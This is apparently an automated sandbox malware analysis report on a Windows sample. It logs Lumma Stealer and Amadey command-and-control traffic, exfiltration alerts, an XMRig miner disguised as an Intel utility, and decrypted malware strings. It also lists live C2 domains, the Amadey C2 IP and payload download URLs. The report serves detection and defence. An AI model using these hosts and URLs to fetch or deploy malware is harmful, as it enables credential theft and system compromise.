2024-12-18T09:07:54.131066+0100	2028371	3	Unknown Traffic	192.168.2.8	49734	172.67.179.109	443	TCP
2024-12-18T09:07:57.092063+0100	2028371	3	Unknown Traffic	192.168.2.8	49736	172.67.179.109	443	TCP
2024-12-18T09:07:59.595987+0100	2028371	3	Unknown Traffic	192.168.2.8	49737	172.67.179.109	443	TCP
2024-12-18T09:08:02.921885+0100	2028371	3	Unknown Traffic	192.168.2.8	49740	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:18.080280+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:20.152865+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:38.814729+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49725	104.21.23.76	443	TCP
2024-12-18T09:07:45.506236+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:47.739835+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49728	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:18.080280+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:45.506236+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49727	172.67.179.109	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:20.152865+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:47.739835+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49728	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:44.774360+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:46.767356+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:49.409802+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49730	172.67.179.109	443	TCP
2024-12-18T09:07:51.624887+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49732	172.67.179.109	443	TCP
2024-12-18T09:07:54.131066+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49734	172.67.179.109	443	TCP
2024-12-18T09:07:57.092063+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49736	172.67.179.109	443	TCP
2024-12-18T09:07:59.595987+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49737	172.67.179.109	443	TCP
2024-12-18T09:08:02.921885+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.8	49740	172.67.179.109	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:16.245823+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49712	185.215.113.43	80	TCP
2024-12-18T09:07:28.376125+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49719	185.215.113.43	80	TCP
2024-12-18T09:07:36.857153+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49723	185.215.113.43	80	TCP
2024-12-18T09:07:44.940259+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49726	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:43.181645+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.8	55921	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:42.955483+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.8	54512	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:30.441203+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49721	104.21.23.76	443	TCP
2024-12-18T09:07:59.604881+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49737	172.67.179.109	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:06.026327+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49709	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:14.901476+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49710	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:11.028065+0100	2803305	3	Unknown Traffic	192.168.2.8	49711	31.41.244.11	80	TCP
2024-12-18T09:07:17.690884+0100	2803305	3	Unknown Traffic	192.168.2.8	49714	31.41.244.11	80	TCP
2024-12-18T09:07:29.827789+0100	2803305	3	Unknown Traffic	192.168.2.8	49720	31.41.244.11	80	TCP
2024-12-18T09:07:38.307666+0100	2803305	3	Unknown Traffic	192.168.2.8	49724	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php$v	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcA	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded1	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php4001	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/dodo/random.exe	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/fate/random.exe/C	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802

Found malware configuration

Source: 00000006.00000003.2004346887.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: d2cb36d600.exe.2508.8.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["pancakedipyps.click", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat", "energyaffai.lat", "aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "crosshuaht.lat"], "Build id": "nheapcorruption--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 55%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000002F.00000002.2618170760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--6989783370

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Code function: 10_2_0092123B CryptContextAddRef,

10_2_0092123B

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.2341019039.0000000000526000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2341019039.000000000050A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2341646325.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2341019039.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6744, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49737 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 80f68847d3.exe, 00000023.00000003.2357823497.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2357638575.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362789768.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362892091.0000000004F10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 80f68847d3.exe, 00000023.00000003.2352330362.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2352832260.0000000005790000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2361729764.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362006479.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2356903461.0000000005740000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2356532106.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362545931.0000000004F90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362355341.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2352330362.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2352832260.0000000005790000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2361729764.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362006479.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 80f68847d3.exe, 00000023.00000003.2356903461.0000000005740000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2356532106.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362545931.0000000004F90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362355341.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2357823497.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2357638575.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362789768.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362892091.0000000004F10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_009336A9 FindFirstFileExW,	8_2_009336A9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_0093375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_0093375A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_009336A9 FindFirstFileExW,	10_2_009336A9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_0093375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_0093375A

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49709 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49710
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49712 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49719 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49723 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.8:55921 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.8:54512 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49728 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49727 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49736 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49740 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49734 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49726 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49732 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.8:49737 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49713 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49721 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49725 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49737 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49715 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49715 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49727 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49727 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49728 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49728 -> 172.67.179.109:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 08:07:10 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 